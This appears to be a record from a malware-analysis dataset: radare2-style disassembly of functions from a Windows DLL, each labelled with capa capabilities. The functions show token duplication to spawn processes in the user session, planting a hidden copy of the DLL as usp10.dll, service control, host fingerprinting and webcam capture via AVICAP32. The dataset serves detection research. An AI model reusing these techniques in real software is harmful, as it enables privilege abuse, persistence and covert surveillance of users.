joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a2df
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.kernel32.dll
call edi
push str.ADVAPI32.dll
mov dword [ebp - 0xc], eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenProcessToken
push ebx
call esi
push str.DuplicateTokenEx
push ebx
mov dword [ebp - 0x1c], eax
call esi
push str.SetTokenInformation
push ebx
mov dword [ebp - 0x20], eax
call esi
push str.CreateProcessAsUserW
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.WTSGetActiveConsoleSessionId
mov dword [ebp - 0x2c], eax
push dword [ebp - 0xc]
call esi
push str.userenv.dll
mov dword [ebp - 0x10], eax
call edi
push str.CreateEnvironmentBlock
push eax
call esi
push 0x44
mov dword [ebp - 0x28], eax
pop edi
xor esi, esi
push edi
lea eax, [ebp - 0x80]
push esi
push eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x3c]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x78], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [ebp - 0x1c]
lea eax, [ebp - 4]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [ebp - 8]
call dword [ebp - 0x20]
cmp dword [ebp - 0x10], esi
je 0x1000a41d
call dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push 4
push eax
push 0xc
push dword [ebp - 4]
call dword [ebp - 0x24]
push esi
lea eax, [ebp - 0x18]
push dword [ebp - 4]
push eax
call dword [ebp - 0x28]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push dword [ebp - 0x18]
push 0x430
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 4]
call dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 8], eax
call edi
push dword [ebp - 8]
call edi
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
jmp 0x1000a420
mov dword [ebp + 8], esi
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x1000a42d
push ebx
call edi
cmp dword [ebp - 0xc], esi
je 0x1000a437
push dword [ebp - 0xc]
call edi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a545
Capabilities:
Packed with generic packer
Write file on windows

Disassembly:
mov eax, 0x10013578
call fcn.1000c73c
sub esp, 0xc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push ebx
push 0x80
push 3
push ebx
push 2
push 0x40000000
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, ebx
mov dword [ebp + 8], eax
jne 0x1000a581
xor eax, eax
jmp 0x1000a5e1
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0xc8
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
push esi
push 0x2e
push edi
call sub.MSVCRT.dll_memset
push 0x64
push 1
xor esi, esi
jmp loc.1002633a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x1000a5f6
Capabilities:
Check if file exists
Copy file
Get file attributes
Set file attributes

Disassembly:
mov eax, 0x10013584
call fcn.1000c73c
sub esp, 0x20c
push ebx
push esi
push edi
and dword [ebp - 4], 0
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x218]
push 0x104
push eax
push dword [0x1001d030]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
call fcn.10009c1e
mov esi, eax
pop ecx
test esi, esi
je 0x1000a677
push str.usp10.dll
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1000a677
push 0
lea eax, [ebp - 0x218]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
call fcn.1000a545
pop ecx
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp - 0xc]
push 1
pop eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x1000a68f
Capabilities:
Enumerate files on windows
Enumerate files recursively
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push 0x250
lea eax, [ebp - 0x258]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp loc.10023897

Function at 0x1000a8eb
Capabilities:
Create thread

Disassembly:
xor eax, eax
push esi
push eax
push eax
push 0x1001d068
push 0x10009f04
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1001d05c]
cmp eax, 3
je 0x1000a91b
cmp eax, 1
jne 0x1000a904
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop esi
ret
Function at 0x1000ab76
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
and word [ebp - 0x90], 0
push ebx
push esi
push edi
push 0x1f
xor eax, eax
pop ecx
lea edi, [ebp - 0x8e]
rep stosd dword es:[edi], eax
push str.Advapi32.dll
mov dword [ebp - 8], 0x80
stosw word es:[edi], ax
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.RegCloseKey
push edi
call esi
push str.RegOpenKeyW
push edi
mov ebx, eax
call esi
push str.RegQueryValueExW
push edi
mov dword [ebp - 0x10], eax
call esi
mov esi, eax
lea eax, [ebp - 4]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
jmp loc.1002494c

Function at 0x1000ac2a
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2804
call fcn.1000c760
push esi
mov esi, str.Iphlpapi.dll
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
test edi, edi
jne 0x1000ac58
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x1000ac97
push str.GetAdaptersInfo
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0x2800
push ecx
lea ecx, [ebp - 0x2804]
push ecx
call eax
test edi, edi
je 0x1000ac83
push edi
jmp 0x10025e08
lea eax, [ebp - 0x2670]
push 6
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
pop edi
pop esi
leave
ret

Function at 0x1000ae46
Capabilities:
Check os version
Get geographical location
Get hostname
Get memory capacity

Disassembly:
mov eax, 0x10013590
call fcn.1000c73c
sub esp, 0x58c
push ebx
push esi
push edi
lea eax, [ebp - 0x598]
mov dword [ebp - 0x10], esp
push 0x52c
push 0
push eax
call sub.MSVCRT.dll_memset
and byte [ebp - 0x13a], 0
add esp, 0xc
lea eax, [ebp - 0x594]
mov byte [ebp - 0x598], 0x66
push eax
mov dword [ebp - 0x594], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x40
push eax
lea eax, [ebp - 0x3c2]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push str.Advapi32.dll
mov dword [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
push str.GetUserNameW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 0x20
push ecx
lea ecx, [ebp - 0x382]
push ecx
call eax
test esi, esi
je 0x1000aeee
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp loc.100219a1
Function at 0x1000b0d8
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerW
push edi
call esi
push str.OpenServiceW
push edi
mov ebx, eax
call esi
push str.StartServiceW
push edi
mov dword [ebp - 0xc], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [ebp - 0x10], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [ebp - 4], eax
call esi
push 0xf003f
push 0
push 0
mov dword [ebp - 8], eax
call ebx
mov ebx, eax
test ebx, ebx
jne 0x1000b140
or eax, 0xffffffff
jmp 0x1000b1af
jmp loc.100254f2
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000b268
Capabilities:
Link many functions at runtime
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerW
push edi
call esi
push str.OpenServiceW
push edi
mov ebx, eax
call esi
push str.ControlService
push edi
mov dword [ebp - 0xc], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [ebp - 0x10], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [ebp - 4], eax
call esi
push 0xf003f
push 0
push 0
mov dword [ebp - 8], eax
call ebx
mov esi, eax
test esi, esi
je 0x1000b340
jmp loc.100219e2
test edi, edi
je 0x1000b34b
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
mov esi, eax
call dword [ebp - 4]
xor eax, eax
cmp esi, 0x424
setne al
dec eax
dec eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b36a
Capabilities:
Link many functions at runtime
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerW
push edi
call esi
push str.OpenServiceW
push edi
mov ebx, eax
call esi
push str.ChangeServiceConfigW
push edi
mov dword [ebp - 8], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [ebp - 0xc], eax
call esi
push str.CloseServiceHandle
push edi
call esi
xor esi, esi
push 0xf003f
push esi
push esi
mov dword [ebp - 4], eax
call ebx
mov ebx, eax
cmp ebx, esi
je 0x1000b403
push 0xf01ff
push dword [ebp + 8]
push ebx
call dword [ebp - 8]
cmp eax, esi
mov dword [ebp + 8], eax
jne 0x1000b413
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov dword [ebp + 8], eax
call dword [ebp - 4]
cmp dword [ebp + 8], 0x424
jne 0x1000b403
cmp edi, esi
je 0x1000b3fe
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0xfffffffffffffffe
pop eax
jmp 0x1000b445
cmp edi, esi
je 0x1000b40e
push edi
jmp 0x10023625
or eax, 0xffffffff
jmp 0x1000b445
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push dword [ebp + 0xc]
push 0x110
push eax
call dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 8]
call dword [ebp - 4]
push ebx
call dword [ebp - 4]
cmp edi, esi
je 0x1000b443
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000bca7
Capabilities:
Check mutex on windows
Create thread
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
push 0x1001b598
xor esi, esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000be49
cmp eax, 5
je 0x1000be49
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x414]
push 0x104
push eax
push dword [0x1001d030]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x414]
push str.Comres.dll
push eax
call fcn.10009c83
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
pop ecx
push eax
call ebx
test eax, eax
je 0x1000bd41
lea eax, [ebp - 0x414]
push str.usp10.dll
push eax
call fcn.10009c83
pop ecx
push eax
call ebx
test eax, eax
jne 0x1000be49
jmp 0x100254ca
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000be4e
Capabilities:
Packed with generic packer
Terminate process

Disassembly:
cmp dword [0x1001d270], 0
jne 0x1000be68
jmp loc.100214bd
push dword [esp + 4]
push dword [0x1001d270]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000be84
push 0xfffffffffffffffe
call dword [sym.imp.KERNEL32.dll_ExitProcess]
ret 4
Function at 0x1000bed1
Capabilities:
Packed with generic packer

Disassembly:
mov eax, dword [esp + 4]
mov dword [0x1001d030], eax
mov eax, dword [esp + 8]
sub eax, 0
je 0x1000beed
dec eax
jne 0x1000befd
jmp loc.10021448
mov eax, dword [0x1001d270]
test eax, eax
je 0x1000befd
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 1
pop eax
ret 0xc

Function at 0x1000c2ba
Capabilities:
Packed with generic packer

Disassembly:
push ebx
xor ebx, ebx
push esi
push ebx
mov esi, ecx
push ebx
push ebx
push ebx
mov dword [esi], 0x100142e0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.1000c46a
test al, al
je 0x1000c33b
cmp byte [0x1001d304], bl
jne 0x1000c33b
push edi
push str.AVICAP32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.capCreateCaptureWindowW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x80000000
jmp loc.1002332e
mov eax, esi
pop esi
pop ebx
ret

Function at 0x1000c760
Capabilities:
Packed with generic packer

Disassembly:
push ecx
cmp eax, 0x1000
lea ecx, [esp + 8]
jb 0x1000c780
jmp loc.100256bd
sub ecx, eax
mov eax, esp
test dword [ecx], eax
mov esp, ecx
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push eax
ret

Function at 0x1000c7dc
Capabilities:
Packed with generic packer

Disassembly:
cmp dword [0x1001d31c], 0xffffffff
jne 0x1000c7f1
push dword [esp + 4]
call dword [sym.imp.MSVCRT.dll__onexit]
pop ecx
ret
jmp loc.10024115

Function at 0x1000c9e0
Capabilities:
Packed with generic packer

Disassembly:
sub esp, 0x38
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0x3c]
push esi
push edi
mov edi, dword [esp + 0x48]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov eax, dword [edi]
push 0x38
lea ecx, [esp + 0xc]
jmp loc.10022112

Function at 0x1000ca90
Capabilities:
Packed with generic packer

Disassembly:
sub esp, 0x38
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x44]
push ebx
mov ebx, dword [esp + 0x44]
push esi
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x14], edx
push 0x38
mov dword [esp + 0xc], eax
mov eax, dword [ebx]
push str.1.2.3
lea edx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
jmp loc.10024b4b

Function at 0x1000cb40
Capabilities:
Packed with generic packer

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push eax
mov eax, dword [esp + 0xc]
push ecx
push edx
push eax
jmp loc.10023825
Function at 0x1000e510
Capabilities:
Packed with generic packer

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x1000e551
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000e551
mov ecx, dword [esi + 0x24]
test ecx, ecx
je 0x1000e551
mov eax, dword [eax + 0x34]
test eax, eax
je 0x1000e538
push eax
mov eax, dword [esi + 0x28]
push eax
call ecx
add esp, 8
mov ecx, dword [esi + 0x1c]
mov edx, dword [esi + 0x28]
push ecx
push edx
call dword [esi + 0x24]
add esp, 8
mov dword [esi + 0x1c], 0
xor eax, eax
pop esi
ret
jmp loc.10025663

Function at 0x1000e560
Capabilities:
Packed with generic packer

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push 0
push 8
push 0xf
push 8
push edx
push eax
jmp loc.100237e7

Function at 0x1000e850
Capabilities:
Compress data via zlib inflate or deflate

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
test ebp, ebp
push edi
je 0x1000f0f7
jmp loc.10022dbb
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
ret

Function at 0x1000f140
Capabilities:
Packed with generic packer

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [eax + 0x1c]
mov ecx, dword [eax + 0x10]
mov edx, dword [esi + 0x14]
cmp edx, ecx
jbe 0x1000f154
mov edx, ecx
test edx, edx
je 0x1000f1b0
mov esi, dword [esi + 0x10]
mov ecx, edx
push ebx
mov ebx, ecx
push edi
mov edi, dword [eax + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [eax + 0xc]
mov ecx, dword [eax + 0x1c]
add edi, edx
mov dword [eax + 0xc], edi
mov esi, dword [ecx + 0x10]
add esi, edx
mov dword [ecx + 0x10], esi
mov ebx, dword [eax + 0x14]
mov edi, dword [eax + 0x10]
mov ecx, dword [eax + 0x1c]
add ebx, edx
sub edi, edx
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], edi
mov esi, dword [ecx + 0x14]
pop edi
sub esi, edx
pop ebx
mov dword [ecx + 0x14], esi
mov eax, dword [eax + 0x1c]
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x1000f1b0
jmp 0x10022740
pop esi
ret

Function at 0x1000f590
Capabilities:
Packed with generic packer

Disassembly:
mov ecx, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 8]
push ebp
mov eax, dword [ebx + 4]
mov ebp, eax
cmp ebp, ecx
jbe 0x1000f5a5
mov ebp, ecx
test ebp, ebp
jne 0x1000f5ae
pop ebp
xor eax, eax
pop ebx
ret
sub eax, ebp
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x1000f5cd
mov ecx, dword [ebx]
mov edx, dword [ebx + 0x30]
push ebp
push ecx
push edx
call fcn.100109a0
jmp 0x1000f5df
cmp eax, 2
jne 0x1000f5e5
mov eax, dword [ebx]
mov ecx, dword [ebx + 0x30]
push ebp
push eax
push ecx
jmp 0x10023a86
add esp, 0xc
mov dword [ebx + 0x30], eax
mov ecx, ebp
push esi
mov esi, dword [ebx]
mov edx, ecx
push edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 8]
mov ecx, dword [ebx]
add eax, ebp
add ecx, ebp
mov dword [ebx + 8], eax
pop edi
mov eax, ebp
pop esi
mov dword [ebx], ecx
pop ebp
pop ebx
ret
Function at 0x10010c30
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
not eax
je 0x10010c69
test cl, 3
je 0x10010c69
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10014da8]
xor eax, edx
inc ecx
dec edi
jne 0x10010c46
cmp edi, 0x20
mov esi, ecx
jb 0x10010e95
mov ebp, edi
shr ebp, 5
mov edx, dword [esi]
xor ecx, ecx
xor eax, edx
xor edx, edx
mov dl, ah
mov dword [esp + 0x18], eax
mov cl, byte [esp + 0x1a]
add esi, 4
mov ebx, dword [edx*4 + 0x100155a8]
mov edx, eax
mov ecx, dword [ecx*4 + 0x100151a8]
and eax, 0xff
jmp 0x10025e56
cmp edi, 4
jb 0x10010ee8
jmp 0x100259ef
test edi, edi
je 0x10010f0a
mov ecx, eax
xor edx, edx
mov dl, byte [esi]
and ecx, 0xff
xor ecx, edx
shr eax, 8
jmp 0x100215a7
pop edi
pop esi
pop ebp
pop ebx
not eax
ret

Function at 0x10011a70
Capabilities:
Packed with generic packer

Disassembly:
mov edx, dword [esp + 0xc]
sub esp, 0x20
xor eax, eax
lea ecx, [esp + 2]
push esi
lea esi, [esp + 6]
sub edx, esi
push edi
mov esi, 0xf
mov di, word [edx + ecx]
add ecx, 2
add di, ax
shl edi, 1
mov eax, edi
dec esi
mov word [ecx - 2], ax
jne 0x10011a8a
mov eax, dword [esp + 0x30]
test eax, eax
jl 0x10011add
mov esi, dword [esp + 0x2c]
lea edi, [eax + 1]
xor ecx, ecx
mov cx, word [esi + 2]
test ecx, ecx
je 0x10011ad7
mov dx, word [esp + ecx*2 + 8]
push ecx
mov eax, edx
and eax, 0xffff
inc edx
push eax
mov word [esp + ecx*2 + 0x10], dx
jmp loc.10022f6a
add esi, 4
dec edi
jne 0x10011aae
pop edi
pop esi
add esp, 0x20
ret

Function at 0x10011af0
Capabilities:
Packed with generic packer

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0xb1c]
lea ecx, [esi + 0x94]
push eax
push ecx
push esi
call fcn.10011b60
mov edx, dword [esi + 0xb28]
lea eax, [esi + 0x988]
push edx
push eax
push esi
call fcn.10011b60
lea ecx, [esi + 0xb30]
push ecx
push esi
call fcn.10011520
add esp, 0x20
mov eax, 0x12
xor edx, edx
jmp loc.100233f3

Function at 0x10012440
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
xor ecx, ecx
mov edx, dword [eax + 0x16a0]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push edi
test edx, edx
je 0x100127cf

Function at 0x10012880
Capabilities:
Packed with generic packer

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
lea ecx, [edx + 0x94]
cmp word [ecx], 0
jne 0x1001289b
inc eax
add ecx, 4
cmp eax, 9
jl 0x1001288c
cmp eax, 9
jne 0x100128ba
mov eax, 0xe
jmp 0x100235e1
mov edx, dword [edx]
xor ecx, ecx
cmp eax, 0x20
sete cl
mov dword [edx + 0x2c], ecx
ret

Function at 0x100128d0
Capabilities:
Packed with generic packer

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
push esi
xor eax, eax
jmp loc.10024e2c
Function at 0x100128f0
Capabilities:
Packed with generic packer

Disassembly:
mov eax, dword [esp + 4]
push ebx
mov ecx, dword [eax + 0x16bc]
cmp ecx, 0x10
jne 0x10012940
jmp loc.10022e1b
cmp ecx, 8
jl 0x10012979
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0x14]
mov bl, byte [eax + 0x16b8]
mov byte [ecx + edx], bl
mov edx, dword [eax + 0x14]
xor ecx, ecx
inc edx
mov cl, byte [eax + 0x16b9]
mov dword [eax + 0x14], edx
mov word [eax + 0x16b8], cx
mov ecx, dword [eax + 0x16bc]
add ecx, 0xfffffff8
mov dword [eax + 0x16bc], ecx
pop ebx
ret

Function at 0x10012afa
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x100135d8
call fcn.1000c73c
push ecx
push ecx
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
mov esi, ecx
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], 0x1001d30c
call sub.MSVCRT.dll_public:_void___thiscall_exception::constructor_char_const__const_const__
mov ebx, dword [ebp + 8]
and dword [ebp - 4], 0
lea edi, [esi + 0xc]
push 0
mov al, byte [ebx]
mov ecx, edi
mov byte [edi], al
call fcn.10012e8a
push dword [0x10017808]
mov ecx, edi
push 0
push ebx
call fcn.10012dbc
mov ecx, dword [ebp - 0xc]
mov dword [esi], vtable.std::logic_error.0
mov eax, esi
pop edi
pop esi
pop ebx
jmp loc.10024985

Function at 0x10012be1
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x10013600
call fcn.1000c73c
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, ecx
push ebx
mov dword [ebp - 0x10], esi
call sub.MSVCRT.dll_public:_void___thiscall_exception::constructor_class_exception_const__
mov al, byte [ebx + 0xc]
and dword [ebp - 4], 0
add ebx, 0xc
lea edi, [esi + 0xc]
push 0
mov ecx, edi
mov byte [edi], al
call fcn.10012e8a
push dword [0x10017808]
mov ecx, edi
push 0
push ebx
call fcn.10012dbc
mov ecx, dword [ebp - 0xc]
mov dword [esi], vtable.std::logic_error.0
mov eax, esi
pop edi
pop esi
pop ebx
jmp loc.1002284c

Function at 0x10025877
Capabilities:
Acquire debug privileges

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
dec eax
push ebx
push edx
dec ecx
dec ecx
push ebx
dec ecx
mov edx, 0x1000002
xor al, 0
add esp, 0xc
leave
popal
popfd
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp loc.1000743c